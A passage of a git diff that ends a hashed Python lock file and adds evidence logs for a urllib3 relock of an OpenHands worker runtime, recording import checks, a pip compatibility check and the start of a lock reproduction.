--hash=sha256:746ee8dba912cd6fc889a8147168991d50ed70447bf18bcda7039f7d2e3d9151 \ + --hash=sha256:756c56e867a90fb00177d530dca4b097dd753cde348448a1012ed6c5131f8b7d \ + --hash=sha256:76d1f20b1c7a2fa82367e04982e708723ba0e7b8d43aa643d3dcd404d74f1475 \ + --hash=sha256:7f493881579c90fc262d9cdbaa05a6b54b3811c2f300766748db79f098db9940 \ + --hash=sha256:823c248b690b2fd9303ba00c4f66cd5e2d8c3ba4aa968b2779be9532a4dad431 \ + --hash=sha256:82544de02076bafba038ce055ee6412d68da13ab47f0c60cab827346de828dee \ + --hash=sha256:8dd8327c795b3e3f219760fa603dcae1dcc148172290a8ab15158cf85a953413 \ + --hash=sha256:8fdc51055e6ff4adeb88d58a11042ec9a5eae317a0a53d12c062c8a8865909e8 \ + --hash=sha256:a625e06551975f4b7ea7102bc43895b90742746797e2e14b70ed61c43a90f09b \ + --hash=sha256:abdc0c6c8c648b4805c5eacd131910d2a7f6455dfd3becab248ef108e89ab16a \ + --hash=sha256:ac017dd64572e5c3bd01939121e4d16cf30e5d7e110a119399cf3133b63ad054 \ + --hash=sha256:ac1e5c9054fe23226fb11e05a6e630837f074174c4c2f0fe442996112a6de4fb \ + --hash=sha256:ac60e3b188ec7574cb761b08d50fcedf9d77f1530352db4eef1707fe9dee7205 \ + --hash=sha256:b359ed09954d7c18bbc1680f380c7301f92c60bf924171629c5db97febb12f04 \ + --hash=sha256:b7643a03db5c95c799b89b31c036d5f27eeb4d259c798e878d6937d71832b1e4 \ + --hash=sha256:ba9e56e8ceeeedb2e080147ba85ffcd5cd0711b89576b83784d8605a7df455fa \ + --hash=sha256:c338ffa0520bdb12fbc527265235639fb76e7bc7faafbb93f6ba80d9c06578a9 \ + --hash=sha256:cad21560da69f4ce7658ca2cb83138fb4cf695a2ba3e475e0559e05991aa8122 \ + --hash=sha256:d08eb4c2b7d6c41da6ca0600c077e93f5adcfd979cd777d747e9ee624556da4b \ + --hash=sha256:d50fd1ee42388dcfb2b3676132c78116490976f1300da28eb629272d5d93e905 \ + --hash=sha256:d591f8de75824cbb7acad4e05d2d710484f15f29d4a915092675ad3456f11770 \ + --hash=sha256:d5f6b181bb38171a8ad1d6aa58a67a6aa9d4b38d0f8c5f496b9e42561dfc62fe \ + --hash=sha256:d63efaa0cd96cf0c5fe4d581521d9fa87744540d4bc999ae6e08595a1014b45b \ + --hash=sha256:d99e5546bf73dbad5bf3547174cd6cb8ba7273062a23808ffea025ecb1cf8562 \ + --hash=sha256:e09473f095a819042ecb2ab9465aee615bd9c2028e4ef7d933600a8401c79561 \ + --hash=sha256:e8b56bdcdb4505c8078cb6c7157d9811a85790f2f2b3632c7d1462ab5783d215 \ + --hash=sha256:ee443ef070bb3b6ed74514f5efaa37a252af57c90eb33b956d35c8e9c10a1931 \ + --hash=sha256:f29d80eb9a9263b8d109135351caf568cc3f80b9928bccde535c235de55c22d9 \ + --hash=sha256:f7a866fbc1e97b5c617ee4116daaa09b722101d4a3c170c787450ba409f9736f \ + --hash=sha256:fcd5cf9e305d7b8338754470cf69cf81f420459dbae8a3b40cee57417f4614a7 +wrapt==1.17.3 \ + --hash=sha256:02b551d101f31694fc785e58e0720ef7d9a10c4e62c1c9358ce6f63f23e30a56 \ + --hash=sha256:042ec3bb8f319c147b1301f2393bc19dba6e176b7da446853406d041c36c7828 \ + --hash=sha256:0610b46293c59a3adbae3dee552b648b984176f8562ee0dba099a56cfbe4df1f \ + --hash=sha256:0b02e424deef65c9f7326d8c19220a2c9040c51dc165cddb732f16198c168396 \ + --hash=sha256:0b1831115c97f0663cb77aa27d381237e73ad4f721391a9bfb2fe8bc25fa6e77 \ + --hash=sha256:0ed61b7c2d49cee3c027372df5809a59d60cf1b6c2f81ee980a091f3afed6a2d \ + --hash=sha256:0f5f51a6466667a5a356e6381d362d259125b57f059103dd9fdc8c0cf1d14139 \ + --hash=sha256:16ecf15d6af39246fe33e507105d67e4b81d8f8d2c6598ff7e3ca1b8a37213f7 \ + --hash=sha256:1f0b2f40cf341ee8cc1a97d51ff50dddb9fcc73241b9143ec74b30fc4f44f6cb \ + --hash=sha256:1f23fa283f51c890eda8e34e4937079114c74b4c81d2b2f1f1d94948f5cc3d7f \ + --hash=sha256:223db574bb38637e8230eb14b185565023ab624474df94d2af18f1cdb625216f \ + --hash=sha256:249f88ed15503f6492a71f01442abddd73856a0032ae860de6d75ca62eed8067 \ + --hash=sha256:24c2ed34dc222ed754247a2702b1e1e89fdbaa4016f324b4b8f1a802d4ffe87f \ + --hash=sha256:273a736c4645e63ac582c60a56b0acb529ef07f78e08dc6bfadf6a46b19c0da7 \ + --hash=sha256:281262213373b6d5e4bb4353bc36d1ba4084e6d6b5d242863721ef2bf2c2930b \ + --hash=sha256:30ce38e66630599e1193798285706903110d4f057aab3168a34b7fdc85569afc \ + --hash=sha256:33486899acd2d7d3066156b03465b949da3fd41a5da6e394ec49d271baefcf05 \ + --hash=sha256:343e44b2a8e60e06a7e0d29c1671a0d9951f59174f3709962b5143f60a2a98bd \ + --hash=sha256:373342dd05b1d07d752cecbec0c41817231f29f3a89aa8b8843f7b95992ed0c7 \ + --hash=sha256:3af60380ba0b7b5aeb329bc4e402acd25bd877e98b3727b0135cb5c2efdaefe9 \ + --hash=sha256:3e62d15d3cfa26e3d0788094de7b64efa75f3a53875cdbccdf78547aed547a81 \ + --hash=sha256:41b1d2bc74c2cac6f9074df52b2efbef2b30bdfe5f40cb78f8ca22963bc62977 \ + --hash=sha256:423ed5420ad5f5529db9ce89eac09c8a2f97da18eb1c870237e84c5a5c2d60aa \ + --hash=sha256:46acc57b331e0b3bcb3e1ca3b421d65637915cfcd65eb783cb2f78a511193f9b \ + --hash=sha256:4da9f45279fff3543c371d5ababc57a0384f70be244de7759c85a7f989cb4ebe \ + --hash=sha256:507553480670cab08a800b9463bdb881b2edeed77dc677b0a5915e6106e91a58 \ + --hash=sha256:53e5e39ff71b3fc484df8a522c933ea2b7cdd0d5d15ae82e5b23fde87d44cbd8 \ + --hash=sha256:54a30837587c6ee3cd1a4d1c2ec5d24e77984d44e2f34547e2323ddb4e22eb77 \ + --hash=sha256:5531d911795e3f935a9c23eb1c8c03c211661a5060aab167065896bbf62a5f85 \ + --hash=sha256:55cbbc356c2842f39bcc553cf695932e8b30e30e797f961860afb308e6b1bb7c \ + --hash=sha256:59923aa12d0157f6b82d686c3fd8e1166fa8cdfb3e17b42ce3b6147ff81528df \ + --hash=sha256:5a03a38adec8066d5a37bea22f2ba6bbf39fcdefbe2d91419ab864c3fb515454 \ + --hash=sha256:5a7b3c1ee8265eb4c8f1b7d29943f195c00673f5ab60c192eba2d4a7eae5f46a \ + --hash=sha256:5d4478d72eb61c36e5b446e375bbc49ed002430d17cdec3cecb36993398e1a9e \ + --hash=sha256:5ea5eb3c0c071862997d6f3e02af1d055f381b1d25b286b9d6644b79db77657c \ + --hash=sha256:604d076c55e2fdd4c1c03d06dc1a31b95130010517b5019db15365ec4a405fc6 \ + --hash=sha256:656873859b3b50eeebe6db8b1455e99d90c26ab058db8e427046dbc35c3140a5 \ + --hash=sha256:65d1d00fbfb3ea5f20add88bbc0f815150dbbde3b026e6c24759466c8b5a9ef9 \ + --hash=sha256:6b538e31eca1a7ea4605e44f81a48aa24c4632a277431a6ed3f328835901f4fd \ + --hash=sha256:6fd1ad24dc235e4ab88cda009e19bf347aabb975e44fd5c2fb22a3f6e4141277 \ + --hash=sha256:70d86fa5197b8947a2fa70260b48e400bf2ccacdcab97bb7de47e3d1e6312225 \ + --hash=sha256:7171ae35d2c33d326ac19dd8facb1e82e5fd04ef8c6c0e394d7af55a55051c22 \ + --hash=sha256:73d496de46cd2cdbdbcce4ae4bcdb4afb6a11234a1df9c085249d55166b95116 \ + --hash=sha256:7425ac3c54430f5fc5e7b6f41d41e704db073309acfc09305816bc6a0b26bb16 \ + --hash=sha256:74afa28374a3c3a11b3b5e5fca0ae03bef8450d6aa3ab3a1e2c30e3a75d023dc \ + --hash=sha256:758895b01d546812d1f42204bd443b8c433c44d090248bf22689df673ccafe00 \ + --hash=sha256:79573c24a46ce11aab457b472efd8d125e5a51da2d1d24387666cd85f54c05b2 \ + --hash=sha256:7e18f01b0c3e4a07fe6dfdb00e29049ba17eadbc5e7609a2a3a4af83ab7d710a \ + --hash=sha256:88547535b787a6c9ce4086917b6e1d291aa8ed914fdd3a838b3539dc95c12804 \ + --hash=sha256:88bbae4d40d5a46142e70d58bf664a89b6b4befaea7b2ecc14e03cedb8e06c04 \ + --hash=sha256:8cccf4f81371f257440c88faed6b74f1053eef90807b77e31ca057b2db74edb1 \ + --hash=sha256:9baa544e6acc91130e926e8c802a17f3b16fbea0fd441b5a60f5cf2cc5c3deba \ + --hash=sha256:a36692b8491d30a8c75f1dfee65bef119d6f39ea84ee04d9f9311f83c5ad9390 \ + --hash=sha256:a47681378a0439215912ef542c45a783484d4dd82bac412b71e59cf9c0e1cea0 \ + --hash=sha256:a7c06742645f914f26c7f1fa47b8bc4c91d222f76ee20116c43d5ef0912bba2d \ + --hash=sha256:a9a2203361a6e6404f80b99234fe7fb37d1fc73487b5a78dc1aa5b97201e0f22 \ + --hash=sha256:ab232e7fdb44cdfbf55fc3afa31bcdb0d8980b9b95c38b6405df2acb672af0e0 \ + --hash=sha256:ad85e269fe54d506b240d2d7b9f5f2057c2aa9a2ea5b32c66f8902f768117ed2 \ + --hash=sha256:af338aa93554be859173c39c85243970dc6a289fa907402289eeae7543e1ae18 \ + --hash=sha256:afd964fd43b10c12213574db492cb8f73b2f0826c8df07a68288f8f19af2ebe6 \ + --hash=sha256:b32888aad8b6e68f83a8fdccbf3165f5469702a7544472bdf41f582970ed3311 \ + --hash=sha256:c31eebe420a9a5d2887b13000b043ff6ca27c452a9a22fa71f35f118e8d4bf89 \ + --hash=sha256:caea3e9c79d5f0d2c6d9ab96111601797ea5da8e6d0723f77eabb0d4068d2b2f \ + --hash=sha256:cf30f6e3c077c8e6a9a7809c94551203c8843e74ba0c960f4a98cd80d4665d39 \ + --hash=sha256:d40770d7c0fd5cbed9d84b2c3f2e156431a12c9a37dc6284060fb4bec0b7ffd4 \ + --hash=sha256:d8a210b158a34164de8bb68b0e7780041a903d7b00c87e906fb69928bf7890d5 \ + --hash=sha256:dc4a8d2b25efb6681ecacad42fca8859f88092d8732b170de6a5dddd80a1c8fa \ + --hash=sha256:df7d30371a2accfe4013e90445f6388c570f103d61019b6b7c57e0265250072a \ + --hash=sha256:e01375f275f010fcbf7f643b4279896d04e571889b8a5b3f848423d91bf07050 \ + --hash=sha256:e1a4120ae5705f673727d3253de3ed0e016f7cd78dc463db1b31e2463e1f3cf6 \ + --hash=sha256:e228514a06843cae89621384cfe3a80418f3c04aadf8a3b14e46a7be704e4235 \ + --hash=sha256:e405adefb53a435f01efa7ccdec012c016b5a1d3f35459990afc39b6be4d5056 \ + --hash=sha256:e6b13af258d6a9ad602d57d889f83b9d5543acd471eee12eb51f5b01f8eb1bc2 \ + --hash=sha256:e6f40a8aa5a92f150bdb3e1c44b7e98fb7113955b2e5394122fa5532fec4b418 \ + --hash=sha256:e71d5c6ebac14875668a1e90baf2ea0ef5b7ac7918355850c0908ae82bcb297c \ + --hash=sha256:ed7c635ae45cfbc1a7371f708727bf74690daedc49b4dba310590ca0bd28aa8a \ + --hash=sha256:f38e60678850c42461d4202739f9bf1e3a737c7ad283638251e79cc49effb6b6 \ + --hash=sha256:f66eb08feaa410fe4eebd17f2a2c8e2e46d3476e9f8c783daa8e09e0faa666d0 \ + --hash=sha256:f9b2601381be482f70e5d1051a5965c25fb3625455a2bf520b5a077b22afb775 \ + --hash=sha256:fbd3c8319de8e1dc79d346929cd71d523622da527cca14e0c1d257e31c2b8b10 \ + --hash=sha256:fd341868a4b6714a5962c1af0bd44f7c404ef78720c7de4892901e540417111c +yarl==1.22.0 \ + --hash=sha256:01e73b85a5434f89fc4fe27dcda2aff08ddf35e4d47bbbea3bdcd25321af538a \ + --hash=sha256:029866bde8d7b0878b9c160e72305bbf0a7342bcd20b9999381704ae03308dc8 \ + --hash=sha256:078278b9b0b11568937d9509b589ee83ef98ed6d561dfe2020e24a9fd08eaa2b \ + --hash=sha256:078a8aefd263f4d4f923a9677b942b445a2be970ca24548a8102689a3a8ab8da \ + --hash=sha256:07a524d84df0c10f41e3ee918846e1974aba4ec017f990dc735aad487a0bdfdf \ + --hash=sha256:088e4e08f033db4be2ccd1f34cf29fe994772fb54cfe004bbf54db320af56890 \ + --hash=sha256:0b5bcc1a9c4839e7e30b7b30dd47fe5e7e44fb7054ec29b5bb8d526aa1041093 \ + --hash=sha256:0cf71bf877efeac18b38d3930594c0948c82b64547c1cf420ba48722fe5509f6 \ + --hash=sha256:0d6e6885777af0f110b0e5d7e5dda8b704efed3894da26220b7f3d887b839a79 \ + --hash=sha256:0dd9a702591ca2e543631c2a017e4a547e38a5c0f29eece37d9097e04a7ac683 \ + --hash=sha256:10619d9fdee46d20edc49d3479e2f8269d0779f1b031e6f7c2aa1c76be04b7ed \ + --hash=sha256:131a085a53bfe839a477c0845acf21efc77457ba2bcf5899618136d64f3303a2 \ + --hash=sha256:1380560bdba02b6b6c90de54133c81c9f2a453dee9912fe58c1dcced1edb7cff \ + --hash=sha256:139718f35149ff544caba20fce6e8a2f71f1e39b92c700d8438a0b1d2a631a02 \ + --hash=sha256:14291620375b1060613f4aab9ebf21850058b6b1b438f386cc814813d901c60b \ + --hash=sha256:1834bb90991cc2999f10f97f5f01317f99b143284766d197e43cd5b45eb18d03 \ + --hash=sha256:1ab72135b1f2db3fed3997d7e7dc1b80573c67138023852b6efb336a5eae6511 \ + --hash=sha256:1e7ce67c34138a058fd092f67d07a72b8e31ff0c9236e751957465a24b28910c \ + --hash=sha256:1e8fbaa7cec507aa24ea27a01456e8dd4b6fab829059b69844bd348f2d467124 \ + --hash=sha256:22965c2af250d20c873cdbee8ff958fb809940aeb2e74ba5f20aaf6b7ac8c70c \ + --hash=sha256:22b029f2881599e2f1b06f8f1db2ee63bd309e2293ba2d566e008ba12778b8da \ + --hash=sha256:243dda95d901c733f5b59214d28b0120893d91777cb8aa043e6ef059d3cddfe2 \ + --hash=sha256:2ca6fd72a8cd803be290d42f2dec5cdcd5299eeb93c2d929bf060ad9efaf5de0 \ + --hash=sha256:2e4e1f6f0b4da23e61188676e3ed027ef0baa833a2e633c29ff8530800edccba \ + --hash=sha256:31f0b53913220599446872d757257be5898019c85e7971599065bc55065dc99d \ + --hash=sha256:334b8721303e61b00019474cc103bdac3d7b1f65e91f0bfedeec2d56dfe74b53 \ + --hash=sha256:33e32a0dd0c8205efa8e83d04fc9f19313772b78522d1bdc7d9aed706bfd6138 \ + --hash=sha256:34b36c2c57124530884d89d50ed2c1478697ad7473efd59cfd479945c95650e4 \ + --hash=sha256:3aa27acb6de7a23785d81557577491f6c38a5209a254d1191519d07d8fe51748 \ + --hash=sha256:3b06bcadaac49c70f4c88af4ffcfbe3dc155aab3163e75777818092478bcbbe7 \ + --hash=sha256:3b7c88eeef021579d600e50363e0b6ee4f7f6f728cd3486b9d0f3ee7b946398d \ + --hash=sha256:3e2daa88dc91870215961e96a039ec73e4937da13cf77ce17f9cad0c18df3503 \ + --hash=sha256:3ea66b1c11c9150f1372f69afb6b8116f2dd7286f38e14ea71a44eee9ec51b9d \ + --hash=sha256:42188e6a615c1a75bcaa6e150c3fe8f3e8680471a6b10150c5f7e83f47cc34d2 \ + --hash=sha256:433885ab5431bc3d3d4f2f9bd15bfa1614c522b0f1405d62c4f926ccd69d04fa \ + --hash=sha256:437840083abe022c978470b942ff832c3940b2ad3734d424b7eaffcd07f76737 \ + --hash=sha256:4398557cbf484207df000309235979c79c4356518fd5c99158c7d38203c4da4f \ + --hash=sha256:45c2842ff0e0d1b35a6bf1cd6c690939dacb617a70827f715232b2e0494d55d1 \ + --hash=sha256:47743b82b76d89a1d20b83e60d5c20314cbd5ba2befc9cda8f28300c4a08ed4d \ + --hash=sha256:4792b262d585ff0dff6bcb787f8492e40698443ec982a3568c2096433660c694 \ + --hash=sha256:47d8a5c446df1c4db9d21b49619ffdba90e77c89ec6e283f453856c74b50b9e3 \ + --hash=sha256:47fdb18187e2a4e18fda2c25c05d8251a9e4a521edaed757fef033e7d8498d9a \ + --hash=sha256:4c52a6e78aef5cf47a98ef8e934755abf53953379b7d53e68b15ff4420e6683d \ + --hash=sha256:4dcc74149ccc8bba31ce1944acee24813e93cfdee2acda3c172df844948ddf7b \ + --hash=sha256:50678a3b71c751d58d7908edc96d332af328839eea883bb554a43f539101277a \ + --hash=sha256:51af598701f5299012b8416486b40fceef8c26fc87dc6d7d1f6fc30609ea0aa6 \ + --hash=sha256:594fcab1032e2d2cc3321bb2e51271e7cd2b516c7d9aee780ece81b07ff8244b \ + --hash=sha256:595697f68bd1f0c1c159fcb97b661fc9c3f5db46498043555d04805430e79bea \ + --hash=sha256:59c189e3e99a59cf8d83cbb31d4db02d66cda5a1a4374e8a012b51255341abf5 \ + --hash=sha256:5a3bf7f62a289fa90f1990422dc8dff5a458469ea71d1624585ec3a4c8d6960f \ + --hash=sha256:5c401e05ad47a75869c3ab3e35137f8468b846770587e70d71e11de797d113df \ + --hash=sha256:5cdac20da754f3a723cceea5b3448e1a2074866406adeb4ef35b469d089adb8f \ + --hash=sha256:5d0fcda9608875f7d052eff120c7a5da474a6796fe4d83e152e0e4d42f6d1a9b \ + --hash=sha256:5dbeefd6ca588b33576a01b0ad58aa934bc1b41ef89dee505bf2932b22ddffba \ + --hash=sha256:62441e55958977b8167b2709c164c91a6363e25da322d87ae6dd9c6019ceecf9 \ + --hash=sha256:663e1cadaddae26be034a6ab6072449a8426ddb03d500f43daf952b74553bba0 \ + --hash=sha256:669930400e375570189492dc8d8341301578e8493aec04aebc20d4717f899dd6 \ + --hash=sha256:68986a61557d37bb90d3051a45b91fa3d5c516d177dfc6dd6f2f436a07ff2b6b \ + --hash=sha256:6944b2dc72c4d7f7052683487e3677456050ff77fcf5e6204e98caf785ad1967 \ + --hash=sha256:6a635ea45ba4ea8238463b4f7d0e721bad669f80878b7bfd1f89266e2ae63da2 \ + --hash=sha256:6c5010a52015e7c70f86eb967db0f37f3c8bd503a695a49f8d45700144667708 \ + --hash=sha256:6dcbb0829c671f305be48a7227918cfcd11276c2d637a8033a99a02b67bf9eda \ + --hash=sha256:70dfd4f241c04bd9239d53b17f11e6ab672b9f1420364af63e8531198e3f5fe8 \ + --hash=sha256:719ae08b6972befcba4310e49edb1161a88cdd331e3a694b84466bd938a6ab10 \ + --hash=sha256:75976c6945d85dbb9ee6308cd7ff7b1fb9409380c82d6119bd778d8fcfe2931c \ + --hash=sha256:7861058d0582b847bc4e3a4a4c46828a410bca738673f35a29ba3ca5db0b473b \ + --hash=sha256:792a2af6d58177ef7c19cbf0097aba92ca1b9cb3ffdd9c7470e156c8f9b5e028 \ + --hash=sha256:8009b3173bcd637be650922ac455946197d858b3630b6d8787aa9e5c4564533e \ + --hash=sha256:80ddf7a5f8c86cb3eb4bc9028b07bbbf1f08a96c5c0bc1244be5e8fefcb94147 \ + --hash=sha256:8218f4e98d3c10d683584cb40f0424f4b9fd6e95610232dd75e13743b070ee33 \ + --hash=sha256:84fc3ec96fce86ce5aa305eb4aa9358279d1aa644b71fab7b8ed33fe3ba1a7ca \ + --hash=sha256:852863707010316c973162e703bddabec35e8757e67fcb8ad58829de1ebc8590 \ + --hash=sha256:8884d8b332a5e9b88e23f60bb166890009429391864c685e17bd73a9eda9105c \ + --hash=sha256:8dee9c25c74997f6a750cd317b8ca63545169c098faee42c84aa5e506c819b53 \ + --hash=sha256:939fe60db294c786f6b7c2d2e121576628468f65453d86b0fe36cb52f987bd74 \ + --hash=sha256:99b6fc1d55782461b78221e95fc357b47ad98b041e8e20f47c1411d0aacddc60 \ + --hash=sha256:9d7672ecf7557476642c88497c2f8d8542f8e36596e928e9bcba0e42e1e7d71f \ + --hash=sha256:9f6d73c1436b934e3f01df1e1b21ff765cd1d28c77dfb9ace207f746d4610ee1 \ + --hash=sha256:9fb17ea16e972c63d25d4a97f016d235c78dd2344820eb35bc034bc32012ee27 \ + --hash=sha256:a49370e8f711daec68d09b821a34e1167792ee2d24d405cbc2387be4f158b520 \ + --hash=sha256:a4fcfc8eb2c34148c118dfa02e6427ca278bfd0f3df7c5f99e33d2c0e81eae3e \ + --hash=sha256:a899cbd98dce6f5d8de1aad31cb712ec0a530abc0a86bd6edaa47c1090138467 \ + --hash=sha256:a9b1ba5610a4e20f655258d5a1fdc7ebe3d837bb0e45b581398b99eb98b1f5ca \ + --hash=sha256:af74f05666a5e531289cb1cc9c883d1de2088b8e5b4de48004e5ca8a830ac859 \ + --hash=sha256:b0748275abb8c1e1e09301ee3cf90c8a99678a4e92e4373705f2a2570d581273 \ + --hash=sha256:b266bd01fedeffeeac01a79ae181719ff848a5a13ce10075adbefc8f1daee70e \ + --hash=sha256:b4f15793aa49793ec8d1c708ab7f9eded1aa72edc5174cae703651555ed1b601 \ + --hash=sha256:b580e71cac3f8113d3135888770903eaf2f507e9421e5697d6ee6d8cd1c7f054 \ + --hash=sha256:b6a6f620cfe13ccec221fa312139135166e47ae169f8253f72a0abc0dae94376 \ + --hash=sha256:b790b39c7e9a4192dc2e201a282109ed2985a1ddbd5ac08dc56d0e121400a8f7 \ + --hash=sha256:b85b982afde6df99ecc996990d4ad7ccbdbb70e2a4ba4de0aecde5922ba98a0b \ + --hash=sha256:b8a0588521a26bf92a57a1705b77b8b59044cdceccac7151bd8d229e66b8dedb \ + --hash=sha256:ba440ae430c00eee41509353628600212112cd5018d5def7e9b05ea7ac34eb65 \ + --hash=sha256:bca03b91c323036913993ff5c738d0842fc9c60c4648e5c8d98331526df89784 \ + --hash=sha256:bebf8557577d4401ba8bd9ff33906f1376c877aa78d1fe216ad01b4d6745af71 \ + --hash=sha256:bec03d0d388060058f5d291a813f21c011041938a441c593374da6077fe21b1b \ + --hash=sha256:bf4a21e58b9cde0e401e683ebd00f6ed30a06d14e93f7c8fd059f8b6e8f87b6a \ + --hash=sha256:c0232bce2170103ec23c454e54a57008a9a72b5d1c3105dc2496750da8cfa47c \ + --hash=sha256:c4647674b6150d2cae088fc07de2738a84b8bcedebef29802cf0b0a82ab6face \ + --hash=sha256:c7044802eec4524fde550afc28edda0dd5784c4c45f0be151a2d3ba017daca7d \ + --hash=sha256:c7bd6683587567e5a49ee6e336e0612bec8329be1b7d4c8af5687dcdeb67ee1e \ + --hash=sha256:ca1f59c4e1ab6e72f0a23c13fca5430f889634166be85dbf1013683e49e3278e \ + --hash=sha256:cb95a9b1adaa48e41815a55ae740cfda005758104049a640a398120bf02515ca \ + --hash=sha256:cfebc0ac8333520d2d0423cbbe43ae43c8838862ddb898f5ca68565e395516e9 \ + --hash=sha256:d332fc2e3c94dad927f2112395772a4e4fedbcf8f80efc21ed7cdfae4d574fdb \ + --hash=sha256:d3e32536234a95f513bd374e93d717cf6b2231a791758de6c509e3653f234c95 \ + --hash=sha256:d5372ca1df0f91a86b047d1277c2aaf1edb32d78bbcefffc81b40ffd18f027ed \ + --hash=sha256:d77e1b2c6d04711478cb1c4ab90db07f1609ccf06a287d5607fcd90dc9863acf \ + --hash=sha256:d947071e6ebcf2e2bee8fce76e10faca8f7a14808ca36a910263acaacef08eca \ + --hash=sha256:dd7afd3f8b0bfb4e0d9fc3c31bfe8a4ec7debe124cfd90619305def3c8ca8cd2 \ + --hash=sha256:de6b9a04c606978fdfe72666fa216ffcf2d1a9f6a381058d4378f8d7b1e5de62 \ + --hash=sha256:e1651bf8e0398574646744c1885a41198eba53dc8a9312b954073f845c90a8df \ + --hash=sha256:e1b329cb8146d7b736677a2440e422eadd775d1806a81db2d4cded80a48efc1a \ + --hash=sha256:e1b51bebd221006d3d2f95fbe124b22b247136647ae5dcc8c7acafba66e5ee67 \ + --hash=sha256:e340382d1afa5d32b892b3ff062436d592ec3d692aeea3bef3a5cfe11bbf8c6f \ + --hash=sha256:e4b582bab49ac33c8deb97e058cd67c2c50dac0dd134874106d9c774fd272529 \ + --hash=sha256:e51ac5435758ba97ad69617e13233da53908beccc6cfcd6c34bbed8dcbede486 \ + --hash=sha256:e5542339dcf2747135c5c85f68680353d5cb9ffd741c0f2e8d832d054d41f35a \ + --hash=sha256:e6438cc8f23a9c1478633d216b16104a586b9761db62bfacb6425bac0a36679e \ + --hash=sha256:e81fda2fb4a07eda1a2252b216aa0df23ebcd4d584894e9612e80999a78fd95b \ + --hash=sha256:ea70f61a47f3cc93bdf8b2f368ed359ef02a01ca6393916bc8ff877427181e74 \ + --hash=sha256:ebd4549b108d732dba1d4ace67614b9545b21ece30937a63a65dd34efa19732d \ + --hash=sha256:efb07073be061c8f79d03d04139a80ba33cbd390ca8f0297aae9cce6411e4c6b \ + --hash=sha256:f0d97c18dfd9a9af4490631905a3f131a8e4c9e80a39353919e2cfed8f00aedc \ + --hash=sha256:f1e09112a2c31ffe8d80be1b0988fa6a18c5d5cad92a9ffbb1c04c91bfe52ad2 \ + --hash=sha256:f3d7a87a78d46a2e3d5b72587ac14b4c16952dd0887dbb051451eceac774411e \ + --hash=sha256:f4afb5c34f2c6fecdcc182dfcfc6af6cccf1aa923eed4d6a12e9d96904e1a0d8 \ + --hash=sha256:f6d2cb59377d99718913ad9a151030d6f83ef420a2b8f521d94609ecc106ee82 \ + --hash=sha256:f87ac53513d22240c7d59203f25cc3beac1e574c6cd681bbfd321987b69f95fd \ + --hash=sha256:ff86011bd159a9d2dfc89c34cfd8aff12875980e3bd6a39ff097887520e60249 +zipp==3.23.0 \ + --hash=sha256:071652d6115ed432f5ce1d34c336c0adfd6a884660d1e9712a256d3d3bd4b14e \ + --hash=sha256:a07157588a12518c9d4034df3fbbee09c814741a33ff63c05fa29d26a2404166 + +stderr: +Resolved 176 packages in 194ms diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt new file mode 100644 index 000000000..4bf4425f5 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-imports.txt @@ -0,0 +1,21 @@ +argv: ["rtk", "proxy", "/venv/bin/python", "-c", "import sys,platform,importlib.metadata as m; from openhands.sdk import LLM,Agent,Conversation; from openhands.tools.task import TaskToolSet; from openhands.tools.browser_use import BrowserToolSet; import urllib3; assert sys.implementation.name==\"cpython\" and platform.python_version()==\"3.13.15\" and platform.system()==\"Linux\" and platform.machine()==\"x86_64\"; assert m.version(\"openhands-sdk\")==m.version(\"openhands-tools\")==\"1.50.0\"; assert urllib3.__version__==\"2.8.0\"; print(\"CPython 3.13.15 Linux x86_64; SDK/tools 1.50.0 and urllib3 2.8.0 imports passed; no model request\"); print({p:m.version(p) for p in (\"click\",\"pypdf\",\"soupsieve\",\"PyJWT\",\"oauthlib\",\"urllib3\")})"] +cwd: +started_utc: 2026-09-30T15:49:30.205837+00:00 +ended_utc: 2026-09-30T15:49:39.441345+00:00 +exit_code: 0 + +stdout: +CPython 3.13.15 Linux x86_64; SDK/tools 1.50.0 and urllib3 2.8.0 imports passed; no model request +{'click': '8.5.0', 'pypdf': '6.19.0', 'soupsieve': '2.9.2', 'PyJWT': '2.14.0', 'oauthlib': '3.3.1', 'urllib3': '2.8.0'} + +stderr: ++----------------------------------------------------------------------+ +| OpenHands SDK v1.50.0 | +| | +| Report a bug: github.com/OpenHands/software-agent-sdk/issues | +| Get help: openhands.dev/joinslack | +| Scale up: openhands.dev/product/sdk | +| | +| Set OPENHANDS_SUPPRESS_BANNER=1 to hide this message | ++----------------------------------------------------------------------+ + diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt new file mode 100644 index 000000000..620ca342f --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pip-check.txt @@ -0,0 +1,12 @@ +argv: ["rtk", "proxy", "uv", "pip", "check", "--python", "/venv/bin/python"] +cwd: +started_utc: 2026-09-30T15:49:30.155171+00:00 +ended_utc: 2026-09-30T15:49:30.204880+00:00 +exit_code: 0 + +stdout: + +stderr: +Using Python 3.13.15 environment at: /venv +Checked 178 packages in 4ms +All installed packages are compatible diff --git a/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt new file mode 100644 index 000000000..8fda9d269 --- /dev/null +++ b/blueprints/runtime-workers/openhands/evidence/urllib3-relock-20260930-native-pristine-reproduction.txt @@ -0,0 +1,3064 @@ +argv: ["rtk", "proxy", "uv", "pip", "compile", "/requirements.in", "--constraints", "/constraints.txt", "--generate-hashes", "--no-header", "--no-annotate", "--index-url", "https://pypi.org/simple", "--python-version", "3.13.15", "--python-platform", "x86_64-unknown-linux-gnu", "--exclude-newer", "7 days", "--exclude-newer-package", "litellm=2026-07-20T00:00:00Z", "--exclude-newer-package", "lmnr=2026-08-23T00:00:00Z", "--output-file", "/reproduced.lock"] +cwd: /source-repro/software-agent-sdk-dcf401af7a9a302ef92cb7d092e1df9bb659daa5 +started_utc: 2026-09-30T15:47:53.086545+00:00 +ended_utc: 2026-09-30T15:47:53.163617+00:00 +exit_code: 0 + +stdout: +agent-client-protocol==0.12.1 \ + --hash=sha256:9963ccb590ed96d7dc542c9c023e90676fc76b1c6562e21a9ee112f4fbcb0095 \ + --hash=sha256:aaf3cc301ed87d9e2c4ccb91adfe1cd58784355f6ce7e513f50e7ca2391862ef +aiofile==3.9.0 